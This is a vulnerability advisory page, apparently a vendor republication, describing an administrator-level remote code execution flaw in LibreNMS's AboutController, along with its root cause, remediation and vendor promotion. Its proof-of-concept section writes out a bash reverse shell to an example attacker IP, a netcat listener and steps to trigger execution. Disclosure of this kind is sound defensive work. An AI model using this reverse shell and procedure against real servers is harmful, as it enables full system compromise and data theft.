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GHSA-jf24-8g2h-2wg7

GHSA-jf24-8g2h-2wg7 is a remote code execution vulnerability in librenms/librenms. O3 Security confirms whether GHSA-jf24-8g2h-2wg7 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

LibreNMS Vulnerable to Remote Code Execution via AboutController

Published
Aug 18, 2026
Updated
Aug 18, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Aug 18, 2026 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected
🐘librenms/librenms

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Remote Code Execution via AboutController in LibreNMS

Summary

A Remote Code Execution (RCE) vulnerability exists in LibreNMS 26.3.1 through the AboutController. An authenticated administrator can manipulate the snmpget configuration parameter to execute arbitrary system commands. When the /about endpoint is accessed, the application executes the configured binary path via shell_exec() without proper validation. This vulnerability leads to complete server compromise, allowing attackers to establish reverse shells, exfiltrate sensitive data, and maintain persistent access.

Severity: High (CVSS 7.2) Attack Vector: Network Privileges Required: High (Administrator) User Interaction: None Impact: Complete system compromise with web server privileges


Details

Vulnerable Code

File: app/Http/Controllers/AboutController.php Line: 85

'version_netsnmp' => str_replace('version: ', '', 
    rtrim(shell_exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2>&1'))),

Root Cause

The AboutController retrieves the snmpget configuration value from the database and directly concatenates it into a shell_exec() call without proper validation or escaping. While the sanitizePath() function attempts to validate executable paths by blocking special characters (;, `, #, $, |, &, ', ", >, <, (), it only prevents direct command injection. It does NOT prevent an attacker from pointing the configuration to a malicious executable file already present on the system.

Configuration Access

The snmpget configuration can be modified through the web interface:

  • Endpoint: PUT /settings/snmpget
  • Controller: SettingsController::update()
  • Required Privileges: Administrator
  • Config Definition: resources/definitions/config_definitions.json
"snmpget": {
    "default": "/usr/bin/snmpget",
    "type": "executable"
}

Validation Analysis

The sanitizePath() function in DynamicConfigItem.php:

// LibreNMS/Util/DynamicConfigItem.php:277-284
private function sanitizePath(string $path): string|false
{
    if (preg_match('/[`;#$|&\'"><(]/', $path)) {
        return false;
    }
    return realpath($path);
}

// LibreNMS/Util/DynamicConfigItem.php:107-110
} elseif ($this->type === 'executable') {
    $value == $this->sanitizePath($value);
    return $value !== false && is_file($value) && is_executable($value);
}

Attack Scenarios

ScenarioDescription
Insider ThreatInternal admin creates malicious file → updates config → RCE
Privilege EscalationAttacker with limited access → creates file → full RCE
Supply ChainMalicious package installs binary → admin uses it → RCE

PoC

Prerequisites

  • Valid administrator credentials for LibreNMS web interface
  • Ability to create a file on the target system (via prior access, SSH, or another vulnerability)

Proof of Concept - Reverse Shell

Step 1: Create Malicious Executable

Create a reverse shell payload that connects back to the attacker:

ATTACKER_IP="172.16.69.144"
ATTACKER_PORT=9001

bash -c 'bash -i >& /dev/tcp/'$ATTACKER_IP'/'$ATTACKER_PORT' 0>&1' 2>/dev/null

Save this as /tmp/rev_shell.sh and make it executable:

chmod +x /tmp/rev_shell.sh

Step 2: Setup Netcat Listener

On your attacking machine, start a netcat listener:

nc -lvnp 9001

Step 3: Update Configuration via Web Interface

Login to LibreNMS web interface as administrator and navigate to:

  • SettingsExternalBinaries
  • Locate snmpget configuration
  • Update the value to: /tmp/rev_shell.sh
  • Click Save
<img width="1919" height="848" alt="image" src="https://github.com/user-attachments/assets/f4f78425-396e-4dc3-a11f-a33f0f6f7fa3" />

Step 4: Trigger RCE

Access the /about endpoint to execute the malicious binary:

<img width="1861" height="957" alt="image" src="https://github.com/user-attachments/assets/4d3da8b9-1ec4-4703-bede-9e485e45726b" />

Impact Summary

CategoryLevelDescription
ConfidentialityHIGHRead config files, database credentials, SSH keys
IntegrityHIGHCreate webshells, backdoors, modify code
AvailabilityHIGHDisrupt services, delete data, stop monitoring
ScopeCHANGEDCompromise extends beyond application to system

Who Is Impacted

  • LibreNMS installations where attacker has admin credentials AND file system access
  • Organizations using LibreNMS for network monitoring
  • Systems monitored by LibreNMS (lateral movement risk)

Remediation

Replace shell_exec() with Symfony Process component:

// BEFORE (vulnerable):
shell_exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2>&1')

// AFTER (safe):
$process = new Process([LibrenmsConfig::get('snmpget', 'snmpget'), '-V']);
$process->run();

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistlibrenms/librenmsall versions26.5.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for librenms/librenms. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update librenms/librenms to 26.5.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jf24-8g2h-2wg7 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-jf24-8g2h-2wg7 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-jf24-8g2h-2wg7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

# Remote Code Execution via AboutController in LibreNMS ## Summary A Remote Code Execution (RCE) vulnerability exists in LibreNMS 26.3.1 through the AboutController. An authenticated administrator can manipulate the `snmpget` configuration parameter to execute arbitrary system commands. When the `/about` endpoint is accessed, the application executes the configured binary path via `shell_exec()` without proper validation. This vulnerability leads to complete server compromise, allowing attackers to establish reverse shells, exfiltrate sensitive data, and maintain persistent access. **Severi
O3 Security · Impact-Aware SCA

Is GHSA-jf24-8g2h-2wg7 in your dependencies?

O3 detects GHSA-jf24-8g2h-2wg7 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-jf24-8g2h-2wg7: librenms/librenms… | O3 Security